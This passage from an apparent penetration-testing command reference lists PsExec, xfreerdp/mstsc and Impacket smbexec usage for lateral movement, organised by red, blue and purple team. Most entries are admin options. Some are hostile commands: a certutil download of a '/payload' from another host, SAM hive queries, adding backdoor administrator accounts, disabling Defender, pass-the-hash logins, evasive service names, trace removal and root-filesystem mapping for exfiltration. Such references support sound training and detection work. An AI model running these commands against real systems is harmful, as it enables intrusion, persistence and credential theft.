the local version has a higher version number or is newer. ## Performance Control ### psexec \\192.168.1.10 -d cmd ```bash psexec \\192.168.1.10 -d cmd ``` Example: ```bash psexec \\192.168.1.10 -d C:\Windows\System32\calc.exe ``` Runs the process non-interactively and does not wait for it to terminate. ## Priority Management ### psexec \\192.168.1.10 -low cmd ```bash psexec \\192.168.1.10 -low cmd ``` Example: ```bash psexec \\192.168.1.10 -low batch_job.bat ``` Starts the remote process with Low priority. ### psexec \\192.168.1.10 -high cmd ```bash psexec \\192.168.1.10 -high cmd ``` Example: ```bash psexec \\192.168.1.10 -high critical_task.exe ``` Starts the remote process with High priority. ## Environment Control ### psexec \\192.168.1.10 -w C:\Temp cmd ```bash psexec \\192.168.1.10 -w C:\Temp cmd ``` Example: ```bash psexec \\192.168.1.10 -w C:\Windows\Temp cmd /c dir ``` Sets the working directory of the process on the remote system. ### psexec \\192.168.1.10 -e cmd ```bash psexec \\192.168.1.10 -e cmd ``` Does not load the specified user's profile during execution. ## Security Context ### psexec \\192.168.1.10 -l cmd ```bash psexec \\192.168.1.10 -l cmd ``` Runs the process with Limited User rights (strips administrators group token). ## Connection Configuration ### psexec \\192.168.1.10 -n 10 cmd ```bash psexec \\192.168.1.10 -n 10 cmd ``` Sets a connection timeout of 10 seconds for connecting to the remote machine. ## Service Customization ### psexec \\192.168.1.10 -r MyService cmd ```bash psexec \\192.168.1.10 -r MyService cmd ``` Example: ```bash psexec \\192.168.1.10 -r LatMovSvc cmd ``` Specifies a custom name for the remote service created by PsExec (default is PSEXESVC). ## Lateral Movement Simulation ### psexec \\192.168.1.10 -s net user ```bash psexec \\192.168.1.10 -s net user ``` Enumerates local users on the target as SYSTEM, simulating reconnaissance. ### psexec \\192.168.1.10 -s reg query HKLM\SAM ```bash psexec \\192.168.1.10 -s reg query HKLM\SAM ``` Attempts to query sensitive registry hives remotely as SYSTEM. ### psexec \\192.168.1.10 -s powershell -NoP -Command "whoami" ```bash psexec \\192.168.1.10 -s powershell -NoP -Command "whoami" ``` Executes PowerShell commands remotely as SYSTEM without loading a profile. ## Multi-Host Targeting ### psexec @hosts.txt cmd ```bash psexec @hosts.txt cmd ``` Example: ```bash psexec @C:\Ops\targets.txt ipconfig ``` Executes the command on every host listed in the specified text file. ### psexec \\* cmd ```bash psexec \\* cmd ``` Example: ```bash psexec \\* cmd /c echo check ``` Runs the command on all computers in the current domain. ## Logging and Redirection ### psexec \\192.168.1.10 cmd > output.txt ```bash psexec \\192.168.1.10 cmd > output.txt ``` Example: ```bash psexec \\192.168.1.10 ipconfig > C:\Logs\remote_ip.txt ``` Redirects the standard output of the remote command to a local file. ### psexec \\192.168.1.10 cmd 2> error.txt ```bash psexec \\192.168.1.10 cmd 2> error.txt ``` Example: ```bash psexec \\192.168.1.10 script.bat 2> C:\Logs\errors.log ``` Redirects the standard error of the remote command to a local file. ## Blue Team Testing ### psexec -s \\192.168.1.10 certutil -urlcache -split -f http://example.com/file ```bash psexec -s \\192.168.1.10 certutil -urlcache -split -f http://example.com/file ``` Example: ```bash psexec -s \\192.168.1.10 certutil -urlcache -split -f http://192.168.1.5/payload ``` Simulates ingress tool transfer behavior using certutil via PsExec. ### psexec \\192.168.1.10 -h cmd ```bash psexec \\192.168.1.10 -h cmd ``` Runs the process with the account's elevated token (if available). ## Process Isolation ### psexec \\192.168.1.10 -x cmd ```bash psexec \\192.168.1.10 -x cmd ``` Displays the UI on the Winlogon secure desktop (system only). ## Processor Affinity ### psexec \\192.168.1.10 -a 1 cmd ```bash psexec \\192.168.1.10 -a 1 cmd ``` Example: ```bash psexec \\192.168.1.10 -a 1 stress_test.exe ``` Forces the process to run on specific processors (CPU affinity). ## Advanced Workflow ### psexec \\192.168.1.10 -u Admin -p Pass -h -d -c payload.bat ```bash psexec \\192.168.1.10 -u Admin -p Pass -h -d -c payload.bat ``` Example: ```bash psexec \\192.168.1.10 -u Admin -p Pass -h -d -c setup.bat ``` Copies a script, executes it elevated, detached, using explicit credentials. ### psexec \\192.168.1.10 -s -i -d cmd /c "echo owned > C:\flag.txt" ```bash psexec \\192.168.1.10 -s -i -d cmd /c "echo owned > C:\flag.txt" ``` Example: ```bash psexec \\192.168.1.10 -s -i -d cmd /c "echo test > C:\Windows\Temp\check.txt" ``` Non-blocking execution of a one-liner as SYSTEM to create a file artifact. ## Detection Testing ### psexec -r CustomSvcName \\192.168.1.10 cmd ```bash psexec -r CustomSvcName \\192.168.1.10 cmd ``` Example: ```bash psexec -r EvilService \\192.168.1.10 cmd ``` Changes the service name to test if detection rules alert on non-standard PSEXESVC names. ## Interactive GUI Test ### psexec -s -i 1 \\192.168.1.10 notepad.exe ```bash psexec -s -i 1 \\192.168.1.10 notepad.exe ``` Launches a GUI application (Notepad) on the user's desktop session as SYSTEM. ## Batch Execution ### psexec @servers.txt -u Domain\Admin -p Pass -d -n 5 cmd /c hostname ```bash psexec @servers.txt -u Domain\Admin -p Pass -d -n 5 cmd /c hostname ``` Example: ```bash psexec @list.txt -u Corp\Admin -p Pass -d -n 5 cmd /c hostname ``` Rapidly fires a hostname check across a list of servers with a short timeout and detach mode. ## Network Testing ### psexec \\192.168.1.10 ipconfig /flushdns ```bash psexec \\192.168.1.10 ipconfig /flushdns ``` Remotely flushes the DNS cache on the target system. ## Incident Response ### psexec \\192.168.1.10 tasklist ```bash psexec \\192.168.1.10 tasklist ``` Retrieves the list of running processes from the remote host for analysis. ### psexec \\192.168.1.10 netstat -anob ```bash psexec \\192.168.1.10 netstat -anob ``` Retrieves active network connections and associated binaries from the remote host. ### psexec -s \\192.168.1.10 wmic qfe list ```bash psexec -s \\192.168.1.10 wmic qfe list ``` Lists installed patches and hotfixes on the remote host as SYSTEM. ## Red Team Ops ### psexec -s \\192.168.1.10 cmd /c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" ```bash psexec -s \\192.168.1.10 cmd /c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" ``` Example: ```bash psexec -s \\192.168.1.10 cmd /c "net user backdoor P@ssw0rd123 /add" ``` Simulates persistence creation by adding a backdoor user via a single command line. ### psexec -s \\192.168.1.10 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" ```bash psexec -s \\192.168.1.10 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" ``` Simulates disabling Windows Defender real-time monitoring remotely. ## Force Disconnect ### psexec \\192.168.1.10 -f cmd ```bash psexec \\192.168.1.10 -f cmd ``` Uses the force flag if the program is already running (rarely used for cmd, useful for services). ## Complex Chaining ### psexec \\192.168.1.10 -u User -p Pass cmd /c "ping 127.0.0.1 -n 5 > nul && whoami" ```bash psexec \\192.168.1.10 -u User -p Pass cmd /c "ping 127.0.0.1 -n 5 > nul && whoami" ``` executes a delayed command sequence to test timeout handling and output buffering. ## Purple Team Validation ### psexec \\192.168.1.10 -c -f -s PsExec.exe ```bash psexec \\192.168.1.10 -c -f -s PsExec.exe ``` Copies PsExec itself to the target to simulate nested lateral movement (PsExec via PsExec). ## Credential Testing ### psexec \\192.168.1.10 -u "" -p "" cmd ```bash psexec \\192.168.1.10 -u "" -p "" cmd ``` Attempts to connect using a null session or existing implicit token. ## Cleanup Simulation ### psexec \\192.168.1.10 cmd /c "sc delete PSEXESVC" ```bash psexec \\192.168.1.10 cmd /c "sc delete PSEXESVC" ``` Manually attempts to delete the PsExec service to simulate trace removal. ## Cross-Domain ### psexec \\192.168.1.10 -u TARGETDOMAIN\Administrator -p Password cmd ```bash psexec \\192.168.1.10 -u TARGETDOMAIN\Administrator -p Password cmd ``` Example: ```bash psexec \\192.168.1.10 -u OTHER\Admin -p Pass cmd ``` Executes commands using credentials from a different trust domain. ## Load Profile ### psexec \\192.168.1.10 -i -u User -p Pass -e cmd ```bash psexec \\192.168.1.10 -i -u User -p Pass -e cmd ``` Explicitly avoids loading the user profile while running interactively. ## Blue Team Alerting ### psexec \\192.168.1.10 powershell -enc JABiACAAPQAgADEAMgAzAA== ```bash psexec \\192.168.1.10 powershell -enc JABiACAAPQAgADEAMgAzAA== ``` Runs encoded PowerShell commands remotely to trigger obfuscation detection rules. ## Environment Variables ### psexec \\192.168.1.10 cmd /c "set" ```bash psexec \\192.168.1.10 cmd /c "set" ``` Dumps remote environment variables to verify the execution context. ## Registry Modification ### psexec -s \\192.168.1.10 reg add HKLM\Software\Test /v Data /t REG_SZ /d "Lateral" /f ```bash psexec -s \\192.168.1.10 reg add HKLM\Software\Test /v Data /t REG_SZ /d "Lateral" /f ``` Adds a registry key remotely as SYSTEM to test EDR registry monitoring. ## Scheduled Task Simulation ### psexec \\192.168.1.10 schtasks /create /tn "EvilTask" /tr calc.exe /sc once /st 00:00 ```bash psexec \\192.168.1.10 schtasks /create /tn "EvilTask" /tr calc.exe /sc once /st 00:00 ``` Uses PsExec to remotely create a scheduled task, a common persistence technique. ## Account Discovery ### psexec \\192.168.1.10 net localgroup administrators ```bash psexec \\192.168.1.10 net localgroup administrators ``` Queries the local administrators group on the remote host. ## Share Access ### psexec \\192.168.1.10 cmd /c "dir \\127.0.0.1\C$" ```bash psexec \\192.168.1.10 cmd /c "dir \\127.0.0.1\C$" ``` Verifies access to administrative shares (C$) from the remote execution context. ## Related tools - [smbexec](https://terminal.rokibulroni.com/tool/lateral/smbexec) - [wmiexec](https://terminal.rokibulroni.com/tool/lateral/wmiexec) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) # Tool: RDP clients > Connecting to Windows Remote Desktop from Linux with xfreerdp and rdesktop — including pass-the-hash, drive sharing and clipboard. - Category: Lateral Movement - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/lateral/rdp - Homepage: https://www.freerdp.com - Documentation: https://github.com/FreeRDP/FreeRDP/wiki/CommandLineInterface-(3.x) - Tags: RDP, remote desktop, Windows ## Install - apt: `sudo apt install freerdp2-x11` - brew: `brew install freerdp` ## Basic RDP Syntax ### xfreerdp /v:192.168.1.10 ```bash xfreerdp /v:192.168.1.10 ``` Initiates a standard RDP connection to the target IP address using default settings. ### xfreerdp /v:win-server.example.com ```bash xfreerdp /v:win-server.example.com ``` Connects to a target server using its DNS hostname. ## Authentication Handling ### xfreerdp /u:administrator /v:192.168.1.10 ```bash xfreerdp /u:administrator /v:192.168.1.10 ``` Specifies the username to use for the connection attempt. ### xfreerdp /u:user /p:password123 /v:192.168.1.10 ```bash xfreerdp /u:user /p:password123 /v:192.168.1.10 ``` Provides both username and password directly in the command line for automated login. ### xfreerdp /u:user /d:CORP /v:192.168.1.10 ```bash xfreerdp /u:user /d:CORP /v:192.168.1.10 ``` Specifies the Active Directory domain for the user account. ## Target and Port Specification ### xfreerdp /v:192.168.1.10 /port:3389 ```bash xfreerdp /v:192.168.1.10 /port:3389 ``` Explicitly sets the destination port, useful if RDP is listening on a non-standard port. ## Display Configuration ### xfreerdp /v:192.168.1.10 /f ```bash xfreerdp /v:192.168.1.10 /f ``` Launches the RDP session in full-screen mode. ### xfreerdp /v:192.168.1.10 /size:1280x720 ```bash xfreerdp /v:192.168.1.10 /size:1280x720 ``` Sets a specific window resolution for the remote desktop session. ### xfreerdp /v:192.168.1.10 /size:80% ```bash xfreerdp /v:192.168.1.10 /size:80% ``` Sets the RDP window size to a percentage of the local screen size. ### xfreerdp /v:192.168.1.10 /multimon ```bash xfreerdp /v:192.168.1.10 /multimon ``` Enables multiple monitor support, spanning the session across all local screens. ## Resource Redirection ### xfreerdp /u:user /v:192.168.1.10 +clipboard ```bash xfreerdp /u:user /v:192.168.1.10 +clipboard ``` Enables clipboard sharing between the local host and the remote RDP session. ### xfreerdp /u:user /v:192.168.1.10 /drive:share,/home/user/files ```bash xfreerdp /u:user /v:192.168.1.10 /drive:share,/home/user/files ``` Mounts a local directory as a mapped drive inside the remote Windows session. ### xfreerdp /v:192.168.1.10 /sound:sys:alsa ```bash xfreerdp /v:192.168.1.10 /sound:sys:alsa ``` Redirects remote audio output to the local machine using the ALSA backend. ### xfreerdp /v:192.168.1.10 /microphone:sys:alsa ```bash xfreerdp /v:192.168.1.10 /microphone:sys:alsa ``` Redirects local microphone input to the remote session. ### xfreerdp /v:192.168.1.10 +printing ```bash xfreerdp /v:192.168.1.10 +printing ``` Enables local printer redirection to the remote host. ## Security and Certificate Options ### xfreerdp /v:192.168.1.10 /cert-ignore ```bash xfreerdp /v:192.168.1.10 /cert-ignore ``` Ignores any invalid or self-signed certificate errors from the target. ### xfreerdp /v:192.168.1.10 /cert-tofu ```bash xfreerdp /v:192.168.1.10 /cert-tofu ``` Uses Trust on First Use policy to accept the certificate once and warn on changes. ### xfreerdp /v:192.168.1.10 /sec:nla ```bash xfreerdp /v:192.168.1.10 /sec:nla ``` Forces the usage of Network Level Authentication (NLA) protocol. ### xfreerdp /v:192.168.1.10 /sec:tls ```bash xfreerdp /v:192.168.1.10 /sec:tls ``` Forces the usage of TLS encryption for the connection. ### xfreerdp /v:192.168.1.10 /sec:rdp ```bash xfreerdp /v:192.168.1.10 /sec:rdp ``` Falls back to standard RDP security (often less secure) if other methods fail. ## Performance Tuning ### xfreerdp /v:192.168.1.10 /network:lan ```bash xfreerdp /v:192.168.1.10 /network:lan ``` Optimizes connection settings for a high-speed Local Area Network. ### xfreerdp /v:192.168.1.10 /network:modem ```bash xfreerdp /v:192.168.1.10 /network:modem ``` Optimizes connection settings for low-bandwidth connections by disabling wallpapers and themes. ### xfreerdp /v:192.168.1.10 /bpp:16 ```bash xfreerdp /v:192.168.1.10 /bpp:16 ``` Reduces color depth to 16-bit to save bandwidth. ### xfreerdp /v:192.168.1.10 +compression ```bash xfreerdp /v:192.168.1.10 +compression ``` Enables bulk compression to reduce data transfer size. ## Proxy and Gateway Usage ### xfreerdp /v:internal-pc /g:gateway.example.com ```bash xfreerdp /v:internal-pc /g:gateway.example.com ``` Connects to an internal target via an RD Gateway server. ### xfreerdp /v:internal-pc /g:gateway.example.com /gu:gatewayuser /gp:gatewaypass ```bash xfreerdp /v:internal-pc /g:gateway.example.com /gu:gatewayuser /gp:gatewaypass ``` Authenticates to the RD Gateway with specific credentials different from the target host. ## Lateral Movement Simulation ### xfreerdp /v:192.168.1.10 /u:admin /pth:E52CAC67419A9A224A3B108F3FA6CB6D ```bash xfreerdp /v:192.168.1.10 /u:admin /pth:E52CAC67419A9A224A3B108F3FA6CB6D ``` Performs a Pass-the-Hash attack to authenticate using an NTLM hash instead of a password. ### xfreerdp /v:192.168.1.10 /restricted-admin ```bash xfreerdp /v:192.168.1.10 /restricted-admin ``` Connects in Restricted Admin mode, preventing credential exposure to the target machine. ### xfreerdp /v:192.168.1.10 /client-hostname:spoofed-host ```bash xfreerdp /v:192.168.1.10 /client-hostname:spoofed-host ``` Spoofs the client hostname sent to the server during the connection sequence. ## Automation and Scripting ### xfreerdp /v:192.168.1.10 +auto-reconnect ```bash xfreerdp /v:192.168.1.10 +auto-reconnect ``` Automatically attempts to reconnect if the session drops. ### xfreerdp /v:192.168.1.10 /auto-reconnect-max-retries:10 ```bash xfreerdp /v:192.168.1.10 /auto-reconnect-max-retries:10 ``` Limits the number of automatic reconnection attempts to 10. ### xfreerdp /v:192.168.1.10 /app:"||cmd" ```bash xfreerdp /v:192.168.1.10 /app:"||cmd" ``` Uses RemoteApp feature to launch a single application (cmd) instead of a full desktop. ## Tunneling and Port Forwarding ### ssh -L 33389:192.168.1.10:3389 user@jumpbox -f -N && xfreerdp /v:127.0.0.1 /port:33389 ```bash ssh -L 33389:192.168.1.10:3389 user@jumpbox -f -N && xfreerdp /v:127.0.0.1 /port:33389 ``` Tunnels RDP traffic through an SSH jumpbox via local port forwarding. ## Advanced RDP Configuration ### xfreerdp /v:192.168.1.10 /kbd:0x00000409 ```bash xfreerdp /v:192.168.1.10 /kbd:0x00000409 ``` Forces the keyboard layout to US English to prevent mapping issues. ### xfreerdp /v:192.168.1.10 +fonts ```bash xfreerdp /v:192.168.1.10 +fonts ``` Enables font smoothing (ClearType) for better text readability. ### xfreerdp /v:192.168.1.10 -wallpaper ```bash xfreerdp /v:192.168.1.10 -wallpaper ``` Explicitly disables the desktop wallpaper to improve responsiveness. ## Red Team Operational Use ### xfreerdp /v:192.168.1.10 /drive:c,/ /drive:etc,/etc ```bash xfreerdp /v:192.168.1.10 /drive:c,/ /drive:etc,/etc ``` Exposes the entire local root filesystem to the remote compromised host for exfiltration. ### xfreerdp /v:192.168.1.10 /log-level:DEBUG ```bash xfreerdp /v:192.168.1.10 /log-level:DEBUG ``` Runs the client with verbose logging to debug authentication failures or protocol errors. ## Native Windows Client (mstsc) ### mstsc /v:192.168.1.10 ```bash mstsc /v:192.168.1.10 ``` Basic command line execution for the native Windows Remote Desktop Connection client. ### mstsc /v:192.168.1.10 /admin ```bash mstsc /v:192.168.1.10 /admin ``` Connects to the console session (Session 0) or the administrative session of the server. ### mstsc /v:192.168.1.10 /f ```bash mstsc /v:192.168.1.10 /f ``` Starts the native Windows RDP client immediately in full-screen mode. ### mstsc /v:192.168.1.10 /w:1024 /h:768 ```bash mstsc /v:192.168.1.10 /w:1024 /h:768 ``` Launches the native client with specific width and height dimensions. ### mstsc /edit connection.rdp ```bash mstsc /edit connection.rdp ``` Opens an existing RDP configuration file for editing without connecting. ### mstsc /shadow:1 /v:192.168.1.10 /control ```bash mstsc /shadow:1 /v:192.168.1.10 /control ``` Shadows (views) session ID 1 on the target server with control privileges. ### mstsc /shadow:1 /v:192.168.1.10 /noConsentPrompt ```bash mstsc /shadow:1 /v:192.168.1.10 /noConsentPrompt ``` Shadows a session attempting to bypass the user consent prompt (requires policy configuration). ## Purple Team Detection Testing ### xfreerdp /v:192.168.1.10 /sec:rdp /cert-ignore ```bash xfreerdp /v:192.168.1.10 /sec:rdp /cert-ignore ``` Deliberately downgrades security to test if the target alerts on weak encryption protocols. ### xfreerdp /u:baduser /p:wrongpass /v:192.168.1.10 ```bash xfreerdp /u:baduser /p:wrongpass /v:192.168.1.10 ``` Generates a failed login event (Event ID 4625) to test SIEM alerting rules. ### xfreerdp /v:192.168.1.10 /drive:*,/tmp ```bash xfreerdp /v:192.168.1.10 /drive:*,/tmp ``` Mounts all available local drives to test DLP controls or monitoring of drive redirection. ## Blue Team Defensive Validation ### nmap -p 3389 --script rdp-enum-encryption 192.168.1.10 ```bash nmap -p 3389 --script rdp-enum-encryption 192.168.1.10 ``` Checks which encryption levels and security protocols are enforced by the RDP service. ### nmap -p 3389 --script rdp-ntlm-info 192.168.1.10 ```bash nmap -p 3389 --script rdp-ntlm-info 192.168.1.10 ``` Extracts domain and server information from the RDP service without full authentication. ## Combined Real World Workflow ### xfreerdp /v:192.168.1.10 /u:admin /p:pass /size:90% +clipboard /drive:share,./payloads /cert-ignore ```bash xfreerdp /v:192.168.1.10 /u:admin /p:pass /size:90% +clipboard /drive:share,./payloads /cert-ignore ``` A typical admin workflow connecting with credentials, sharing payloads, and ignoring cert warnings. ## Incident Response Simulation ### xfreerdp /v:192.168.1.10 +bitmap-cache-persist ```bash xfreerdp /v:192.168.1.10 +bitmap-cache-persist ``` Enables persistent bitmap caching to generate cache files for forensic artifact testing. ### xfreerdp /v:192.168.1.10 /timeout:60000 ```bash xfreerdp /v:192.168.1.10 /timeout:60000 ``` Sets a connection timeout to test how the server logs incomplete or timed-out handshake attempts. ## Advanced Auth ### xfreerdp /v:192.168.1.10 /smartcard:soft:pfx:/path/to/cert.pfx ```bash xfreerdp /v:192.168.1.10 /smartcard:soft:pfx:/path/to/cert.pfx ``` Emulates a smart card authentication using a software PFX certificate file. ### xfreerdp /v:192.168.1.10 /kerberos:auto ```bash xfreerdp /v:192.168.1.10 /kerberos:auto ``` Attempts to authenticate using a Kerberos ticket granting ticket (TGT) from the current cache. ## Legacy/Alternative Client ### rdesktop -u user -p password -g 1024x768 192.168.1.10 ```bash rdesktop -u user -p password -g 1024x768 192.168.1.10 ``` Connects using the legacy rdesktop client with geometry settings. ### rdesktop -r disk:local=/home/user 192.168.1.10 ```bash rdesktop -r disk:local=/home/user 192.168.1.10 ``` Connects with rdesktop and redirects a local disk. ## Tunneling and Port Forwarding ### socat TCP4-LISTEN:3389,fork TCP4:192.168.1.10:3389 ```bash socat TCP4-LISTEN:3389,fork TCP4:192.168.1.10:3389 ``` Creates a simple port forwarder using socat to expose an internal RDP host. ## Security Protocol Selection ### xfreerdp /v:192.168.1.10 /ssl-protocol:TLSv1.2 ```bash xfreerdp /v:192.168.1.10 /ssl-protocol:TLSv1.2 ``` Strictly enforces the use of TLS version 1.2 for the connection. ## Cleanup and Termination ### pkill -f xfreerdp ```bash pkill -f xfreerdp ``` Forcefully terminates all running xfreerdp processes. ## Related tools - [Ncrack](https://terminal.rokibulroni.com/tool/credentials/ncrack) - [Evil-WinRM](https://terminal.rokibulroni.com/tool/lateral/evil-winrm) # Tool: smbexec > Impacket’s smbexec.py: a semi-interactive shell over SMB that creates a service per command instead of uploading a binary. - Category: Lateral Movement - Commands: 45 - Page: https://terminal.rokibulroni.com/tool/lateral/smbexec - Homepage: https://github.com/fortra/impacket - Documentation: https://github.com/fortra/impacket - Tags: remote execution, SMB, Impacket ## Install - apt: `sudo apt install python3-impacket` - pipx: `pipx install impacket` ## Basic Remote Execution ### smbexec.py administrator:password@192.168.1.10 ```bash smbexec.py administrator:password@192.168.1.10 ``` Example: ```bash smbexec.py administrator:Summer2025!@192.168.1.10 ``` Executes a semi-interactive shell on a remote Windows host using local credentials. ### smbexec.py domain/administrator:password@192.168.1.10 ```bash smbexec.py domain/administrator:password@192.168.1.10 ``` Example: ```bash smbexec.py corp.local/admin:P@ssword123@192.168.1.10 ``` Connects to a target using domain credentials. ### smbexec.py domain/user:password@hostname ```bash smbexec.py domain/user:password@hostname ``` Example: ```bash smbexec.py corp/jdoe:secret@fileserver01 ``` Targets a host by hostname instead of IP address. ## NTLM Hash Authentication ### smbexec.py -hashes : administrator@192.168.1.10 ```bash smbexec.py -hashes : administrator@192.168.1.10 ``` Example: ```bash smbexec.py -hashes :8846F7EAEE8FB117AD06BDD830B7586C administrator@192.168.1.10 ``` Performs Pass-the-Hash authentication using only the NT hash. ### smbexec.py -hashes : administrator@192.168.1.10 ```bash smbexec.py -hashes : administrator@192.168.1.10 ``` Example: ```bash smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846F7EAEE8FB117AD06BDD830B7586C administrator@192.168.1.10 ``` Performs Pass-the-Hash using both LM and NT hashes. ## Authentication Handling ### smbexec.py -no-pass administrator@192.168.1.10 ```bash smbexec.py -no-pass administrator@192.168.1.10 ``` Attempts to connect without a password, useful if a null session or existing trust allows it. ## Kerberos Authentication ### smbexec.py -k -no-pass target.domain.local ```bash smbexec.py -k -no-pass target.domain.local ``` Example: ```bash smbexec.py -k -no-pass file01.corp.local ``` Uses an existing TGT from the KRB5CCNAME environment variable for Kerberos authentication. ### smbexec.py -k -no-pass -dc-ip target.domain.local ```bash smbexec.py -k -no-pass -dc-ip target.domain.local ``` Example: ```bash smbexec.py -k -no-pass -dc-ip 192.168.1.5 file01.corp.local ``` Authenticates via Kerberos while manually specifying the Domain Controller IP. ### smbexec.py -aesKey user@192.168.1.10 ```bash smbexec.py -aesKey user@192.168.1.10 ``` Example: ```bash smbexec.py -aesKey 8e5f...9a1b administrator@192.168.1.10 ``` Authenticates using the AES256 key for Kerberos instead of a password or NTLM hash. ## Service Customization ### smbexec.py -service-name administrator@192.168.1.10 ```bash smbexec.py -service-name administrator@192.168.1.10 ``` Example: ```bash smbexec.py -service-name UpdaterService administrator@192.168.1.10 ``` Sets a custom name for the service created on the remote host to blend in. ## Execution Mode ### smbexec.py -mode SHARE administrator@192.168.1.10 ```bash smbexec.py -mode SHARE administrator@192.168.1.10 ``` Forces SHARE mode where output is written to a remote share file and read back. ### smbexec.py -mode SERVER administrator@192.168.1.10 ```bash smbexec.py -mode SERVER administrator@192.168.1.10 ``` Forces SERVER mode where a local SMB server is raised to receive command output. ### smbexec.py -share administrator@192.168.1.10 ```bash smbexec.py -share administrator@192.168.1.10 ``` Example: ```bash smbexec.py -share ADMIN$ administrator@192.168.1.10 ``` Specifies a specific share (e.g., ADMIN$ or C$) to use for uploading the service executable. ## Target Specification ### smbexec.py -target-ip domain/user@hostname ```bash smbexec.py -target-ip domain/user@hostname ``` Example: ```bash smbexec.py -target-ip 192.168.1.20 corp/admin@ws-hr-01 ``` Resolves the hostname manually to a specific target IP address. ### smbexec.py -port 445 administrator@192.168.1.10 ```bash smbexec.py -port 445 administrator@192.168.1.10 ``` Explicitly sets the destination port, useful if port forwarding or non-standard ports are in use. ## Output and Debugging ### smbexec.py -debug administrator@192.168.1.10 ```bash smbexec.py -debug administrator@192.168.1.10 ``` Enables verbose debug output to troubleshoot connection or authentication issues. ### smbexec.py -codec administrator@192.168.1.10 ```bash smbexec.py -codec administrator@192.168.1.10 ``` Example: ```bash smbexec.py -codec utf-8 administrator@192.168.1.10 ``` Sets the text encoding used for the remote output to handle non-ASCII characters. ## Advanced Authentication ### smbexec.py -k -debug target.local ```bash smbexec.py -k -debug target.local ``` Example: ```bash smbexec.py -k -debug database.corp.local ``` Combines Kerberos authentication with debug mode to diagnose ticket issues. ## Lateral Movement Simulation ### smbexec.py -hashes : -service-name BTO_Service admin@192.168.1.10 ```bash smbexec.py -hashes : -service-name BTO_Service admin@192.168.1.10 ``` Example: ```bash smbexec.py -hashes :8846... admin@192.168.1.10 -service-name SVC_BACKUP ``` Simulates lateral movement using a hash and a custom service name to test detection logic. ## Red Team Operations ### smbexec.py -mode SERVER -service-name WinDefendUpdate admin@192.168.1.10 ```bash smbexec.py -mode SERVER -service-name WinDefendUpdate admin@192.168.1.10 ``` Uses Server mode and a deceptive service name to evade simple log analysis. ### smbexec.py -share C$ -service-name NetLogonHelper admin@192.168.1.10 ```bash smbexec.py -share C$ -service-name NetLogonHelper admin@192.168.1.10 ``` Executes via the C$ share instead of ADMIN$ with a legitimate-sounding service name. ## Blue Team Validation ### smbexec.py -debug -service-name TEST_LATERAL_MOVE admin@192.168.1.10 ```bash smbexec.py -debug -service-name TEST_LATERAL_MOVE admin@192.168.1.10 ``` Generates a noisy, easily identifiable service creation event for verifying SIEM alerts. ### smbexec.py -k -no-pass -service-name KRB_TEST target.local ```bash smbexec.py -k -no-pass -service-name KRB_TEST target.local ``` Example: ```bash smbexec.py -k -no-pass -service-name KRB_TEST file01.local ``` Tests detection rules for Kerberos-based service creation lateral movement. ## Complex Workflow ### smbexec.py -hashes : -dc-ip domain/user@target_ip ```bash smbexec.py -hashes : -dc-ip domain/user@target_ip ``` Example: ```bash smbexec.py -hashes :8846... -dc-ip 10.0.0.5 corp/admin@10.0.0.20 ``` Authenticates to a specific target IP while directing authentication requests to a specific DC. ### smbexec.py -mode SHARE -share IPC$ admin@192.168.1.10 ```bash smbexec.py -mode SHARE -share IPC$ admin@192.168.1.10 ``` Attempts execution using the IPC$ share, often used to test restricted share access controls. ## Legacy/Compatibility ### smbexec.py -port 139 administrator@192.168.1.10 ```bash smbexec.py -port 139 administrator@192.168.1.10 ``` Attempts to connect over the legacy NetBIOS Session Service port instead of port 445. ## Purple Team Validation ### smbexec.py -service-name AE_SVC_RANDOM admin@192.168.1.10 ```bash smbexec.py -service-name AE_SVC_RANDOM admin@192.168.1.10 ``` Example: ```bash smbexec.py -service-name AE_SVC_x892a admin@192.168.1.10 ``` Emulates an adversary using randomized service names to bypass static string detection. ## Privileged Access ### smbexec.py 'domain/Administrator':password@192.168.1.10 ```bash smbexec.py 'domain/Administrator':password@192.168.1.10 ``` Example: ```bash smbexec.py 'corp/Administrator':Summer2025!@192.168.1.10 ``` Explicitly quotes the username to handle spaces or special characters in credentials. ## Incident Response Simulation ### smbexec.py -debug -service-name MALICIOUS_SERVICE admin@192.168.1.10 ```bash smbexec.py -debug -service-name MALICIOUS_SERVICE admin@192.168.1.10 ``` Creates a distinct artifact to test the incident response team's ability to extract service binaries. ## Network Evasion ### smbexec.py -mode SERVER -port 445 admin@192.168.1.10 ```bash smbexec.py -mode SERVER -port 445 admin@192.168.1.10 ``` Uses server mode to force the target to connect back to the attacker, altering traffic flow patterns. ## Automation Workflow ### smbexec.py -no-pass -k target.local < commands.txt ```bash smbexec.py -no-pass -k target.local < commands.txt ``` Pipes a list of commands into the standard input for automated execution upon connection. ## Troubleshooting ### smbexec.py -debug -hashes : admin@192.168.1.10 ```bash smbexec.py -debug -hashes : admin@192.168.1.10 ``` Example: ```bash smbexec.py -debug -hashes :8846... admin@192.168.1.10 ``` Debugs a Pass-the-Hash connection to verify protocol negotiation and authentication steps. ## Advanced Target Specification ### smbexec.py domain/user:pass@192.168.1.10 ```bash smbexec.py domain/user:pass@192.168.1.10 ``` Example: ```bash smbexec.py corp/jdoe:P@ssword@192.168.1.10 ``` Standard syntax for domain authentication against an IP address target. ### smbexec.py localaccount:pass@192.168.1.10 ```bash smbexec.py localaccount:pass@192.168.1.10 ``` Example: ```bash smbexec.py Administrator:P@ssword@192.168.1.10 ``` Authenticates using a local account (non-domain) on the remote machine. ## Interactive Handling ### smbexec.py admin:pass@192.168.1.10 ```bash smbexec.py admin:pass@192.168.1.10 ``` Upon successful connection, smbexec drops into a semi-interactive CMD.EXE shell. ## Service Cleanup Check ### smbexec.py -service-name TEMP_SVC admin@192.168.1.10 ```bash smbexec.py -service-name TEMP_SVC admin@192.168.1.10 ``` Used to verify that the tool correctly deletes the service 'TEMP_SVC' after the session exits. ## Blind Execution ### smbexec.py -mode SHARE -no-pass -k target.local ```bash smbexec.py -mode SHARE -no-pass -k target.local ``` Example: ```bash smbexec.py -mode SHARE -no-pass -k db-prod.local ``` Uses Kerberos and Share mode for environments where direct server callbacks are blocked by firewalls. ## Cross-Forest ### smbexec.py 